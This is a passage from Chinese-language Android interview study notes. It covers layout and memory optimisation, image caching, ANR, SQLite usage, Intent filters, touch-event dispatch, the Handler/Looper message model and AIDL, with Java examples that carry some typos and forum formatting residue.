的哥们，需要重点注意，这个属性真的可以减慢measure速度。所以在使用之前，一定要再三考虑，是否真的不能通过其他方法来完成你要的效果？ \n    官方文档上 推荐使用RelativeLayout和GridLayout来避免Layout深度过深的问题[size=12.666666984558105px] 。 \n    之前看文档，Google提供一个叫 ViewSub[size=12.666666984558105px] 的控件来优化那些不是必须要立即在UI上显示的控件，感兴趣的同学可以去看看。在API Level 1中就提供了这个东西，但是在实际开发中很少见到有人用或者提及（可能是我孤陋寡闻，公司就两个Android开发，另一个还要转IOS，我们俩的Android技术就代表了我们公司的Android技术能力，想想真悲哀！），其实蛮好用的。 \n    重用Layout。可以使用<include/> <merge/>将其他布局嵌入到当前布局中。 \n    ListView的优化：ViewHolder的使用；AsyncTask的使用；针对ListView当前滑动状态，对图片数据的加载进行控制；（ListView在配以AsyncTask加载图片时需要注[size=12.666666984558105px] 意图片的加载完显示的位置以及图片的缓存问题，具体可以参考Google的Demo[size=12.666666984558105px] ）[size=12.666666984558105px] \n[size=12.800000190734863px]10、将大消耗操作交给多个线程。 11、如果你的应用需要发送Broadcast但是又不希望别的应用获取到，或者你不希望处理别的应用发送的同样的action，那么请使用LocalBroadcastManager。\n[size=12.666666984558105px]    该类是在Android Support v4中提供的，用来在同一个应用内的不同组件之间发送Broadcast。好处上面说了，可以保证应用的私密性。会比全局广播有更高的效率，但是官方文档没有说明具体数值。具体使用方法：\n\n\n\n1\nLocalBroadcastManager.getInstance(this).registerReceiver( mStateReceiver, mStatusIntentFilter);LocalBroadcastManager.getInstance(this).sendBroadcast(localBroadcastIntent); \n\n使用oc计数器的方式可以更好的控制内存\n\n\n\n\nAndroid OnLowMemory和OnTrimMemory \n\nOnLowMemory\nOnLowMemory是Android提供的API，在系统内存不足，所有后台程序（优先级为background的进程，不是指后台运行的进程）都被杀死时，系统会调用OnLowMemory。系统提供的回调有：\nApplication.onLowMemory()\nActivity.OnLowMemory()\nFragement.OnLowMemory()\nService.OnLowMemory()\nContentProvider.OnLowMemory()\n除了上述系统提供的API，还可以自己实现ComponentCallbacks，通过API注册，这样也能得到OnLowMemory回调。例如：\npublic static class MyCallback implements ComponentCallbacks {\n \n        @Override\n        public void onConfigurationChanged(Configuration arg) {\n \n        }\n \n        @Override\n        public void onLowMemory() {\n            //do release operation\n        }\n    }\n然后，通过Context.registerComponentCallbacks ()在合适的时候注册回调就可以了。通过这种自定义的方法，可以在很多地方注册回调，而不需要局限于系统提供的组件。\nOnTrimMemory\nOnTrimMemory是Android 4.0之后提供的API，系统会根据不同的内存状态来回调。系统提供的回调有：\nApplication.onTrimMemory()\nActivity.onTrimMemory()\nFragement.OnTrimMemory()\nService.onTrimMemory()\nContentProvider.OnTrimMemory()\nOnTrimMemory的参数是一个int数值，代表不同的内存状态：\nTRIM_MEMORY_COMPLETE：内存不足，并且该进程在后台进程列表最后一个，马上就要被清理\nTRIM_MEMORY_MODERATE：内存不足，并且该进程在后台进程列表的中部。\nTRIM_MEMORY_BACKGROUND：内存不足，并且该进程是后台进程。\nTRIM_MEMORY_UI_HIDDEN：内存不足，并且该进程的UI已经不可见了。      \n      以上4个是4.0增加\nTRIM_MEMORY_RUNNING_CRITICAL：内存不足(后台进程不足3个)，并且该进程优先级比较高，需要清理内存\nTRIM_MEMORY_RUNNING_LOW：内存不足(后台进程不足5个)，并且该进程优先级比较高，需要清理内存\nTRIM_MEMORY_RUNNING_MODERATE：内存不足(后台进程超过5个)，并且该进程优先级比较高，需要清理内存      \n \n      以上3个是4.1增加\n系统也提供了一个ComponentCallbacks2，通过Context.registerComponentCallbacks()注册后，就会被系统回调到。\nOnLowMemory和OnTrimMemory的比较\n1，OnLowMemory被回调时，已经没有后台进程；而onTrimMemory被回调时，还有后台进程。 2，OnLowMemory是在最后一个后台进程被杀时调用，一般情况是low memory killer 杀进程后触发；而OnTrimMemory的触发更频繁，每次计算进程优先级时，只要满足条件，都会触发。 3，通过一键清理后，OnLowMemory不会被触发，而OnTrimMemory会被触发一次。\n9.图片缓存机制\n\n目前很多商业应用都会涉及到从网络上读取图片数据的问题，为了节约用户流量，应用一般会将图片缓存起来。图片缓存一般分为内存缓存和外存缓存。内存缓存运用java的缓存机制，在程序完全退出后，缓存所在的内存空间可能被其它应用程序占用从而丢失。外存缓存一般放在程序特有的访问空间或者sd卡中，在sd卡中存放的资源为公有资源，其它程序也可以访问，且对用户来讲没有一个强制清除缓存的规范机制。综合以上，本文采用将缓存图片放置在程序的特有空间中， 其它应用程序无法访问，且用户可以在应用程序管理中的\"清除数据\"选项中清除缓存。 \n      本文提供三种缓存策略：（1）LRU算法，固定缓存图片数量(max_num)，当图片数量超出max_num时，将缓存中最近用的最少的图片删除。（2）FTU算法，固定每张图片的缓存时限，以最后一次使用算起，超过时限后删除。（3）FMU算法，在存储器中固定一定大小的存储空间，超过固定空间后将缓存中占用最大尺寸的图片删除。使用时只需要向方法体中传递图片的URL即可。\n\n代码片段\n\n使用方法：\n    1.导入jar;\n    2. 获取服务；\n    3.提交url,交给程序去判断是否下载。 \n \n\npublic class ImagecachetacticsdemoActivity extends Activity {     public void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.item);         /*FMU*/        imageCacheManager = ImageCacheManager.getImageCacheService(this,                 ImageCacheManager.MODE_FIXED_MEMORY_USED, \"memory\");         imageCacheManager.setMax_Memory(1024 * 1024);         /*FTU*/        // imageCacheManager = ImageCacheManager.getImageCacheService(this,         // ImageCacheManager.MODE_FIXED_TIMED_USED, \"time\");         // imageCacheManager.setDelay_millisecond(3 * 60 * 1000);                    /*LRU*/        // imageCacheManager = ImageCacheManager.getImageCacheService(this,         // ImageCacheManager.MODE_LEAST_RECENTLY_USED, \"num\");         // imageCacheManager.setMax_num(5);         // imageCacheManager = ImageCacheManager.getImageCacheService(this,         // ImageCacheManager.MODE_NO_CACHE_USED, \"nocache\");        mImageView = (ImageView) findViewById(R.id.imageView);         new DownloadTask()                 .execute(\"http://www.touxiang99.com/uploads/allimg/110417/1_110417112640_2.jpg\");     }     private class DownloadTask extends AsyncTask<String, Void, Bitmap> {         @Override         protected Bitmap doInBackground(String... params) {             try {                 return imageCacheManager.downlaodImage(new URL(params[0]));             } catch (IOException e) {                 e.printStackTrace();             }             return null;         }         @Override         protected void onPostExecute(Bitmap result) {             mImageView.setImageBitmap(result);             super.onPostExecute(result);         }         @Override         protected void onPreExecute() {             mImageView.setImageResource(R.drawable.ic_launcher);             super.onPreExecute();         }     }     private ImageView mImageView;     private ImageCacheManager imageCacheManager;\n}  \n\n \n10.Handler机制\n\n11.什么是ANR 如何避免它？\n\nANR：Application NotResponding，五秒\n　　在Android中，活动管理器和窗口管理器这两个系统服务负责监视应用程序的响应。当出现下列情况时，Android就会显示ANR对话框了：\n　　对输入事件(如按键、触摸屏事件)的响应超过5秒\n　　意向接受器(intentReceiver)超过10秒钟仍未执行完毕\n　　Android应用程序完全运行在一个独立的线程中(例如main)。这就意味着，任何在主线程中运行的，需要消耗大量时间的操作都会引发ANR。因为此时，你的应用程序已经没有机会去响应输入事件和意向广播(Intentbroadcast)。\n　　因此，任何运行在主线程中的方法，都要尽可能的只做少量的工作。特别是活动生命周期中的重要方法如onCreate()和 onResume()等更应如此。潜在的比较耗时的操作，如访问网络和数据库;或者是开销很大的计算，比如改变位图的大小，需要在一个单独的子线程中完成(或者是使用异步请求，如数据库操作)。但这并不意味着你的主线程需要进入阻塞状态已等待子线程结束 -- 也不需要调用Therad.wait()或者Thread.sleep()方法。取而代之的是，主线程为子线程提供一个句柄(Handler)，让子线程在即将结束的时候调用它(xing:可以参看Snake的例子，这种方法与以前我们所接触的有所不同)。使用这种方法涉及你的应用程序，能够保证你的程序对输入保持良好的响应，从而避免因为输入事件超过5秒钟不被处理而产生的ANR。这种实践需要应用到所有显示用户界面的线程，因为他们都面临着同样的超时问题。\n12.sqlite操作使用\n\n本帖最后由 y_m 于 2013-6-2 00:27 编辑SQLite数据库\n数据库:它就是一个软件，需要安装，安装完后就有自己的目录结构。\n         都有客户端和服务端，所有的数据库都实现了SQL标准\nSQLite数据库:它是一个轻量级数据库，设计目的是嵌入式的，而且它占用的资源非常少\n        注意:除了主键不能存储任意的类型之外，其他的字段可以存放任意的数据类型\n                SqliteDatabase它要求:表的主键的字段名最好是_id，一定要_id  否则报错;\n\n\n\n\nCmd操作指令：\nsqlite3 qjq.db 进入数据库\n.tables 查看数据库里面的表\n创建数据库文件：\n三种方式：\n第一种通过上下文创建数据库：\npublic class DBsqlite {\n        private Context context;\n        public DBsqlite(Context context) {\n                super();\n                this.context = context;\n        }\n        public void createDB() {\n                //通过上下文创建数据库\n                   context.openOrCreateDatabase(\"persons.db\", Context.MODE_PRIVATE, null);\n        }\n｝\n第二种SQLiteDatabase创建数据库\n    public void createDB(){\n                String dir=\"/data/data/\"+context.getPackageName();\n                File file=new File(dir,\"persons.db\");\n                SQLiteDatabase.openOrCreateDatabase(file, null);\n        }\n第三种创建一个help类继承SQLiteOpenHelper\n实现DBhelp构造onCreate方法onUpgrade方法\npublic class DBhelp extends SQLiteOpenHelper {\n        public DBhelp(Context context) {\n//                上下文        ，数据库名，游标工厂 ，数据版本\n                super(context, \"persons.db\", null, 2);\n                // TODO Auto-generated constructor stub\n        }\n        //数据库第一次创建之后调用该方法。创建表、视图。。。 或者初始化表信息\n        public void onCreate(SQLiteDatabase db) {\n                // 创建数据库\n                db.execSQL(\"create table fish(_id integer primary key autoincrement,name text)\");\n        }\n        @Override\n//当数据版本被改变则会执行该方法super(context, \"persons.db\", null, 3)；\n        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n                // 版本修改表添加一列\n                db.execSQL(\"ALTER TABLE fish ADD amount integer\");\n        }\nCrud\n以下分别用两种方式crud了，一种是面向SQL ，一种是面向对象，但是面向对象的源码里面其实也是在帮你拼接sql。\npublic class OtherFishService {\n        private SQLiteOpenHelper mOpenHelper;\n        public OtherFishService(Context context) {\n                // TODO Auto-generated constructor stub\n                mOpenHelper = new DBHelper(context);\n        }\n        /**\n         * 插入数据\n         * @param name\n         */\n        public void insert(String name){\n                SQLiteDatabase db = mOpenHelper.getWritableDatabase();\n//                String sql = \"insert into fish(name) values(?)\";\n                if(db.isOpen()){\n//                        db.execSQL(sql, new Object[]{name});\n                        //insert into fish\n                        //ContentValues里面就是要插入的值\n                        ContentValues values = new ContentValues();\n                        values.put(\"name\", name);\n                        db.insert(\"fish\", \"_id\", values);\n                        db.close();\n                }\n        }\n        public List<Fish> query(){\n                List<Fish> fishs = new ArrayList<Fish>();\n                SQLiteDatabase db = mOpenHelper.getReadableDatabase();\n//                String sql =\"select * from fish\";\n                if(db.isOpen()){\n                        //cursor 就是resultset\n//                        Cursor cursor = db.rawQuery(sql, null);\n                        Cursor cursor = db.query(\"fish\",//表名\n                                        new String[]{\"*\"},//要查询的列名\n                                        null,//查询条件\n                                        null,//条件参数\n                                        null,//分组\n                                        null,//条件\n                                        null);//排序\n                        while(cursor.moveToNext()){\n                                //得到_id的下标\n                                int column_index = cursor.getColumnIndex(\"_id\");\n                                //得到_id的值\n                                int _id = cursor.getInt(column_index);\n                                String name = cursor.getString(cursor.getColumnIndex(\"name\"));\n                                Fish fish = new Fish(_id, name);\n                                fishs.add(fish);\n                        }\n                        //cursor使用完成之后一定要关闭\n                        cursor.close();\n                        db.close();\n                }\n                return fishs;\n        }\n        public void update(Fish fish){\n                SQLiteDatabase db = mOpenHelper.getWritableDatabase();\n                if(db.isOpen()){\n//                        String sql = \"update Fish set name = ? where _id = ?\";\n//                        db.execSQL(sql,new Object[]{fish.name,fish._id});\n                        ContentValues values = new ContentValues();\n                        values.put(\"name\",fish.name);\n                        String whereClause = \" _id = ?\";\n                        String[] whereArgs = new String[]{fish._id+\"\"};\n                        db.update(\"fish\", values, whereClause, whereArgs);\n                }\n        }\n        public void delete(int _id){\n                SQLiteDatabase db = mOpenHelper.getWritableDatabase();\n                if(db.isOpen()){\n//                        String sql = \"delete from fish where _id = ?\";\n//                        db.execSQL(sql,new Object[]{_id});\n                        String whereClause = \" _id = ?\";\n                        String[] whereArgs = new String[]{_id+\"\"};\n                        db.delete(\"fish\", whereClause, whereArgs);\n                }\n        }\n} \n\nSqliteDatabase事务列表显示多条数据事务，以及事务的完整性SQLiteDatabase控制事务方法：\nbeginTransaction();        开启事务\nsetTransactionSuccessful();        设置事务成功\nendTransaction();结束事务\ndb.beginTransaction();                //开始事务\n        try {\n                db.execSQL(\"update student set amount=amount-300 where name=?\", new Object[]{\"张三\"});\n                db.execSQL(\"update student set amount=amount+300 where name=?\", new Object[]{\"李四\"});\n                db.setTransactionSuccessful();         //设置事务成功\n       \n        } catch (Exception e) {\n                System.out.println(\"事务执行出现异常，不能设置事务成功！\");\n        }finally{\n        //无论是否出现异常，都要结束事务。\n                db.endTransaction();\n        }\ncmd常见指令：\nSqlite3 xx.db                查看xx数据库\n.tables                        查看所有表\n.exit                                退出\n.databases                查看所有数据库\n标签：\ninclude标签实现组件复用\n将另一个布局文件加载到当前布局文件，实现组件复用\n<!-- 加载一个布局文件 -->\n<include layout=\"@layout/item\"/>\n属性 android:visibility=有三个选项\n<!--\nVisible :可见\n           都是不可见\n    invisible : 还占据空间\n    gone：不占据空间\n     -->\n列表显示多条数据 simpleAdapter\n代码：\nOtherFishService ofs = new OtherFishService(this);\n            List<Fish> fishs = ofs.query();\n            List<Map<String,Object>>data=new ArrayList<Map<String,Object>>();\n            for(Fish f:fishs){\n                    Map<String,Object> map = new HashMap<String, Object>();\n                    map.put(\"_id\", f._id);\n                    map.put(\"name\",f.name);\n                    map.put(\"age\", f.age);\n                    data.add(map);\n            }\n            String[] from = new String[]{\"_id\",\"name\",\"age\"};\n            int[] to = new int[]{R.id.tv_id,R.id.tv_name,R.id.tv_age};\n            SimpleAdapter adapter = new SimpleAdapter(this,\n                            data,\n                            R.layout.item,\n                            from,\n                            to);\n            lv.setAdapter(adapter);\n以上可以实现但是过于麻烦！\n我们还可以使用专门为数据库提供的\nCursoradapter\nOtherFishService ofs = new OtherFishService(this);\n            Cursor c = ofs.getAllCursor();\n            String[] from = new String[]{\"_id\",\"name\",\"age\"};\n            int[] to = new int[]{R.id.tv_id,R.id.tv_name,R.id.tv_age};\n            SimpleCursorAdapter adapter = new SimpleCursorAdapter(\n                            this,\n                            R.layout.item,\n                            c,\n                            from,\n                            to);\n            lv.setAdapter(adapter);\n我们不单单只用android给我们提过的CursorAdapter我们还可以自定义一个CursorAdapter\n自定义CursorAdapter\npublic class MyCursorAdapter extends CursorAdapter {\n        //布局加载器（是一个服务，用来加载xml布局文件到java代码中）\n        private LayoutInflater mInflater;\n       \n        public MyCursorAdapter(Context context, Cursor c) {\n                super(context, c);\n        mInflater=(LayoutInflater)context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n               \n                mInflater = LayoutInflater.from(context);\n               \n        }\n        //创建一个item的布局\n        @Override\n        public View newView(Context context, Cursor cursor, ViewGroup parent) {\n                // TODO Auto-generated method stub\n                //通过布局加载器加载布局\n                View view = mInflater.inflate(R.layout.item, null);\n                return view;\n        }\n        //把数据绑定给item里面的布局\n        @Override\n        public void bindView(View view, Context context, Cursor cursor) {\n                // TODO Auto-generated method stub\n        //1 先得到控件\n                //2 得到数据\n                //3 绑定数据给控件\n                TextView tv_id = (TextView) view.findViewById(R.id.tv_id);\n                TextView tv_name = (TextView) view.findViewById(R.id.tv_name);\n                TextView tv_age = (TextView) view.findViewById(R.id.tv_age);\n               \n                String _id = cursor.getString(0);\n                String name = cursor.getString(1);\n                String age = cursor.getString(2);\n               \n                tv_id.setText(_id);\n                tv_name.setText(name);\n                tv_age.setText(age);\n               \n                int position = cursor.getPosition();\n                if(position%2 ==0){\n                        view.setBackgroundColor(Color.RED);\n                }else{\n                        view.setBackgroundColor(Color.GREEN);\n                }\n               \n        }\n}\n为了实现 我们想要的并且系统没提供的效果所以我们要自定义Adapter\n不仅可以继承CursorAdapter 实现自定义CursorAdapter ，我们还可以通\n过继承BaseAdapter 。\n```java\nprivate class MyCursorAdapter extends BaseAdapter {\n                private Context context;\n                private Cursor c;\n                private LayoutInflater mInflater;\n               \n                public MycursorAdapter1(Context context, Cursor c) {\n                        super();\n                        this.context = context;\n                        this.c = c;\n                        mInflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n                }\n                @Override\n                public int getCount() {\n                        // TODO Auto-generated method stub\n                        return c.getCount();\n                }\n                @Override\n                public Object getItem(int position) {\n                        Person p = null;\n                        if (c.moveToPosition(position)) {\n                                String id = c.getString(0);\n                                String name = c.getString(1);\n                                String age = c.getString(2);\n                                p = new Person(id, name, age);\n                        }\n                        return p;\n                }\n                @Override\n                public long getItemId(int position) {\n                        // TODO Auto-generated method stub\n                        return position;\n                }\n                @Override\n                public View getView(int position, View convertView, ViewGroup parent) {\n                        //1得到视图\n//2从视图中拿到要显示对象\n//3从cursor里面拿值\n//4绑定\n//5返回\n```\n注意：getView方法实际会执行原本次数2倍（例：7条数据与，getView执行7*2次），第一遍执行是为了测试有多少条数据，第2遍执行才是真正的现实操作\n```java\n                        View view = mInflater.inflate(R.layout.item, null);\n                        TextView tv_id = (TextView) view.findViewById(R.id.bt_id);\n                        TextView tv_name = (TextView) view.findViewById(R.id.bt_name);\n                        TextView tv_age = (TextView) view.findViewById(R.id.bt_age);\n                        if (c.moveToPosition(position)) {\n                                String id = c.getString(0);\n                                String name = c.getString(1);\n                                String age = c.getString(2);\n                                tv_id.setText(id);\n                                tv_name.setText(name);\n                                tv_age.setText(age);\n                                 \n                        }\n                        if ( position% 2 == 0) {\n                                view.setBackgroundColor(Color.RED);\n                        }\n                        return view;\n                }\n        }\n```\n当我们用完cursor的时候，怎么关闭他？\n//应用回收资源  退出程序时调用该方法\n        @Override\n        protected void onDestroy() {\n                // TODO Auto-generated method stub\n                super.onDestroy();r\n                Cursor c = adapter.getCursor();\n                if(c != null && !c.isClosed()){\n                        c.close();\n                }\n        }\n13请描述一下Intent 和 Intent Filter。\n\nAndroid 中通过 Intent 对象来表示一条消息，一个 Intent 对象不仅包含有这个消息的目的地，还可以包含消息的内容，这好比一封Email，其中不仅应该包含收件地址，还可以包含具体的内容。对于一个 Intent 对象，消息“目的地”是必须的，而内容则是可选项。\n通过Intent 可以实现各种系统组件的调用与激活. \n \n \nIntent filter: 可以理解为邮局或者是一个信笺的分拣系统…\n这个分拣系统通过3个参数来识别\nAction: 动作    view\nData: 数据uri   uri\nCategory : 而外的附加信息 \nAction 匹配\nAction 是一个用户定义的字符串，用于描述一个 Android 应用程序组件，一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的 Activity 定义时可以在其 <intent-filter >节点指定一个 Action 列表用于标示 Activity 所能接受的“动作”，例如：\n <intent-filter >\n <action android:name=\"android.intent.action.MAIN\" />\n <action android:name=\"cn.itcast.action\" />\n……\n </intent-filter>\n \n如果我们在启动一个 Activity 时使用这样的 Intent 对象：\n Intent intent =new Intent();\n intent.setAction(\"cn.itcast.action\");\n startActivity(intent);\n \n那么所有的 Action 列表中包含了“cn.itcast”的 Activity 都将会匹配成功。\nAndroid 预定义了一系列的 Action 分别表示特定的系统动作。这些 Action 通过常量的方式定义在 android.content. Intent中，以“ACTION_”开头。我们可以在 Android 提供的文档中找到它们的详细说明。\nURI 数据匹配\n一个 Intent 可以通过 URI 携带外部数据给目标组件。在 <intent-filter >节点中，通过 <data/>节点匹配外部数据。\nmimeType 属性指定携带外部数据的数据类型，scheme 指定协议，host、port、path 指定数据的位置、端口、和路径。如下：\n <data android:mimeType=\"mimeType\" android:scheme=\"scheme\"\n android:host=\"host\" android:port=\"port\" android:path=\"path\"/>\nIntent intent = new Intent();\nintent.setAction(Intent.ACTION_CALL);\ninsent.setData( Uri.parse(tel:12345));\nstartAcitivty();\n电话的uri   tel: 12345\n           http://www.baidu.com\n自己定义的uri  itcast://cn.itcast/person/10\n \n如果在 Intent Filter 中指定了这些属性，那么只有所有的属性都匹配成功时 URI 数据匹配才会成功。\nCategory 类别匹配\n<intent-filter >节点中可以为组件定义一个 Category 类别列表，当 Intent 中包含这个列表的所有项目时 Category 类别匹配才会成功。\n默认是DEFAULT14.Intent传递数据时，可以传递哪些类型数据？\n\n1.一般的基本数据类型  Intent .putextra() intent.getextra();\nParselable Serializable\n \n       2.数据的uri, intent.setData() intent.getData();\n15.Android事件传递机制\n\nAndroid中dispatchTouchEvent,onInterceptTouchEvent, onTouchEvent的理解ec\nandroid中的事件类型分为按键事件和屏幕触摸事件，Touch事件是屏幕触摸事件的基础事件，有必要对它进行深入的了解。 一个最简单的屏幕触摸动作触发了一系列Touch事件：ACTION_DOWN->ACTION_MOVE->ACTION_MOVE->ACTION_MOVE...->ACTION_MOVE->ACTION_UP\nandroid的事件处理分为3步。\n1）public booleandispatchTouchEvent(MotionEvent ev)  这个方法用来分发TouchEvent 2）public boolean onInterceptTouchEvent(MotionEvent ev) 这个方法用来拦截TouchEvent 3）public boolean onTouchEvent(MotionEvent ev) 这个方法用来处理TouchEvent\n假设当前Activity 布局如下：\n\n\ndispatchTouchEvent事件分发\n当TouchEvent发生时，首先Activity将TouchEvent传递给最顶层的View， TouchEvent最先到达最顶层 view 的 dispatchTouchEvent 。然后由  dispatchTouchEvent 方法进行分发，如果dispatchTouchEvent返回true ，则交给这个view的onTouchEvent处理，如果dispatchTouchEvent返回 false ，则交给这个 view 的 onInterceptTouchEvent方法来决定是否要拦截这个事件，\n如果onInterceptTouchEvent返回 true ，也就是拦截掉了，则交给它的 onTouchEvent 来处理，如果onInterceptTouchEvent返回 false ，那么就传递给子 view，由子 view 的 dispatchTouchEvent 再来开始这个事件的分发。\n 如图：\n\n\n\n事件拦截：onInterceptTouchEvent\n onInterceptTouchEvent用于改变事件的传递方向。决定传递方向的是返回值，返回为false时事件会传递给子控件，返回值为true时事件会传递给当前控件的onTouchEvent()，这就是所谓的Intercept(拦截)。\n[tisa ps:正确的使用方法是，在此方法内仅判断事件是否需要拦截，然后返回。即便需要拦截也应该直接返回true，然后由onTouchEvent方法进行处理。]\nonTouchEvent用于处理事件，返回值决定当前控件是否消费（consume）了这个事件。尤其对于ACTION_DOWN事件，返回true，表示我想要处理后续事件（ACTION_MOVE或者ACTION_UP）；返回false，表示不关心此事件，并返回由父类进行处理。 \n在没有重写onInterceptTouchEvent()和onTouchEvent()的情况下(他们的返回值都是false), 对上面这个布局，MotionEvent事件的传递顺序如下：\n\n\n当某个控件的onInterceptTouchEvent()返回值为true时，就会发生截断，事件被传到当前控件的onTouchEvent()。如我们将LayoutView2的onInterceptTouchEvent()返回值为true,则传递流程变成：\n\n\n\n 如果我们同时将LayoutView2的onInterceptTouchEvent()和onTouchEvent()设置成true，那么LayoutView2将消费被传递的事件，同时后续事件（如跟着ACTION_DOWN的ACTION_MOVE或者ACTION_UP）会直接传给LayoutView2的onTouchEvent(),不传给其他任何控件的任何函数。同时传递给子空间一个ACTION_CANCEL事件。传递流程变成（图中没有画出ACTION_CANCEL事件）：\n\n\n\n小总结：onInterceptTouchEvent是自rootiew向下传递, onTouchEvent正好相反。\n16.请介绍下Android中常用的五种布局。\n\nFrameLayout（帧布局），LinearLayout （线性布局），AbsoluteLayout（绝对布局），RelativeLayout（相对布局），TableLayout（表格布局）\n   FrameLayout\n    从屏幕的左上角开始布局,叠加显示, 实际应用 播放器的暂停按钮.   \n   LinearLayout\n线性布局，这个东西，从外框上可以理解为一个div，他首先是一个一个从上往下罗列在屏幕上。每一个LinearLayout里面又可分为垂直布局\n（android:orientation=\"vertical\"）和水平布局（android:orientation=\"horizontal\"\n）。当垂直布局时，每一行就只有一个元素，多个元素依次垂直往下；水平布局时，只有一行，每一个元素依次向右排列。\nAbsoluteLayout\n绝对布局犹如div指定了absolute属性，用X,Y坐标来指定元素的位置android:layout_x=\"20px\"  view\nandroid:layout_y=\"12px\" fwvga 854*480apk\nqq斗地主 qq游戏大厅800*480 800*480.apk  fwvga  854*480\n指定平板机型的游戏开发中经常用到绝对布局  widget 绝对布局 \n指定机型的平板游戏开发. 2.3 3.0\n1.  界面布局  任务管理器 gridview\n2.  手机 任务管理 listview\n \nlephone \nlepad \n  RelativeLayout\n    相对布局可以理解为某一个元素为参照物，来定位的布局方式。主要属性有：\n        相对于某一个元素\n    android:layout_below=\"@id/aaa\" 该元素在 id为aaa的下面\n    android:layout_toLeftOf=\"@id/bbb\" 改元素的左边是bbb\n        相对于父元素的地方\n     android:layout_alignParentLeft=\"true\"  在父元素左对齐\nandroid:layout_alignParentRight=\"true\" 在父元素右对齐\n \n \nAndroid  oa客户端.\nTableLayout <table>\n表格布局类似Html里面的Table。每一个TableLayout里面有表格行TableRow，TableRow里面可以具体定义每一个元素，设定他的对齐方式android:gravity=\"\" 。\n每一个布局都有自己适合的方式，另外，这五个布局元素可以相互嵌套应用，做出美观的界面。\noa  自动化 生成报表 ,图标 表示   webview  \ncss div\nwebview\n 17.谈谈UI中，Padding和Margin有什么区别？\nPadding 文字对边框, margin是控件对父窗体.\nPadding 盒子里面的内容距离盒子的距离 , margin 盒子与盒子之间的距离 18.请解释下在单线程模型中Message、Handler、Message Queue、Looper之间的关系。\n\n\n\n\n简单的说，Handler获取当前线程中的looper对象，looper用来从存放Message的MessageQueue中取出Message，再有Handler进行Message的分发和处理.\nMessage Queue(消息队列)：用来存放通过Handler发布的消息，通常附属于某一个创建它的线程，可以通过Looper.myQueue()得到当前线程的消息队列.\nHandler：可以发布或者处理一个消息或者操作一个Runnable，通过Handler发布消息，消息将只会发送到与它关联的消息队列，然也只能处理该消息队列中的消息.\nLooper：是Handler和消息队列之间通讯桥梁，程序组件首先通过Handler把消息传递给Looper，Looper把消息放入队列。Looper也把消息队列里的消息广播给所有的Handler：Handler接受到消息后调用handleMessage进行处理.\nMessage：消息的类型，在Handler类中的handleMessage方法中得到单个的消息进行处理,在单线程模型下，为了线程通信问题，Android设计了一个Message Queue(消息队列)，线程间可以通过该Message Queue并结合Handler和Looper组件进行信息交换。下面将对它们进行分别介绍：\n1. Message\nMessage消息，理解为线程间交流的信息，处理数据后台线程需要更新UI，则发送Message内含一些数据给UI线程。\n2. Handler\nHandler处理者，是Message的主要处理者，负责Message的发送，Message内容的执行处理。后台线程就是通过传进来的 Handler对象引用来sendMessage(Message)。而使用Handler，需要implement 该类的 handleMessage(Message)方法，它是处理这些Message的操作内容，例如Update UI。通常需要子类化Handler来实现handleMessage方法。\n3. Message Queue\nMessage Queue消息队列，用来存放通过Handler发布的消息，按照先进先出执行。\n每个message queue都会有一个对应的Handler。Handler会向message queue通过两种方法发送消息：sendMessage或post。这两种消息都会插在message queue队尾并按先进先出执行。但通过这两种方法发送的消息执行的方式略有不同：通过sendMessage发送的是一个message对象,会被 Handler的handleMessage()函数处理；而通过post方法发送的是一个runnable对象，则会自己执行。\n4. Looper\nLooper是每条线程里的Message Queue的管家。Android没有Global的Message Queue，而Android会自动替主线程(UI线程)建立Message Queue，但在子线程里并没有建立Message Queue。所以调用Looper.getMainLooper()得到的主线程的Looper不为NULL，但调用Looper.myLooper() 得到当前线程的Looper就有可能为NULL。对于子线程使用Looper，API Doc提供了正确的使用方法：这个Message机制的大概流程：\n1. 在Looper.loop()方法运行开始后，循环地按照接收顺序取出Message Queue里面的非NULL的Message。\n2. 一开始Message Queue里面的Message都是NULL的。当Handler.sendMessage(Message)到Message Queue，该函数里面设置了那个Message对象的target属性是当前的Handler对象。随后Looper取出了那个Message，则调用该Message的target指向的Hander的dispatchMessage函数对Message进行处理。在dispatchMessage方法里，如何处理Message则由用户指定，三个判断，优先级从高到低：\n1) Message里面的Callback，一个实现了Runnable接口的对象，其中run函数做处理工作；\n2) Handler里面的mCallback指向的一个实现了Callback接口的对象，由其handleMessage进行处理；\n3) 处理消息Handler对象对应的类继承并实现了其中handleMessage函数，通过这个实现的handleMessage函数处理消息。\n由此可见，我们实现的handleMessage方法是优先级最低的！\n3. Handler处理完该Message (update UI) 后，Looper则设置该Message为NULL，以便回收！\n在网上有很多文章讲述主线程和其他子线程如何交互，传送信息，最终谁来执行处理信息之类的，个人理解是最简单的方法——判断Handler对象里面的Looper对象是属于哪条线程的，则由该线程来执行！\n1. 当Handler对象的构造函数的参数为空，则为当前所在线程的Looper；\n2. Looper.getMainLooper()得到的是主线程的Looper对象，Looper.myLooper()得到的是当前线程的Looper对象。\n19.AIDL的全称是什么？如何工作？\n\nAIDL的英文全称是Android Interface Define Language当A进程要去调用B进程中的service时，并实现通信，我们通常都是通过AIDL来操作的A工程：首先我们在net.blogjava.mobile.aidlservice包中创建一个RemoteService.aidl文件，在里面我们自定义一个接口，含有方法get。ADT插件会在gen目录下自动生成一个RemoteService.java文件，该类中含有一个名为RemoteService.stub的内部类，该内部类中含有aidl文件接口的get方法。说明一：aidl文件的位置不固定，可以任意然后定义自己的MyService类，在MyService类中自定义一个内部类去继承RemoteService.stub这个内部类，实现get方法。在onBind方法中返回这个内部类的对象，系统会自动将这个对象封装成IBinder对象，传递给他的调用者。其次需要在AndroidManifest.xml文件中配置MyService类，代码如下：<!-- 注册服务 -->  <service android:name=\".MyService\">    <intent-filter>    <!--  指定调用AIDL服务的ID  -->        <action android:name=\"net.blogjava.mobile.aidlservice.RemoteService\" />     </intent-filter> </service>为什么要指定调用AIDL服务的ID,就是要告诉外界MyService这个类能够被别的进程访问，只要别的进程知道这个ID，正是有了这个ID,B工程才能找到A工程实现通信。说明：AIDL并不需要权限B工程：      首先我们要将A工程中生成的RemoteService.java文件拷贝到B工程中，在bindService方法中绑定aidl服务      绑定AIDL服务就是将RemoteService的ID作为intent的action参数。      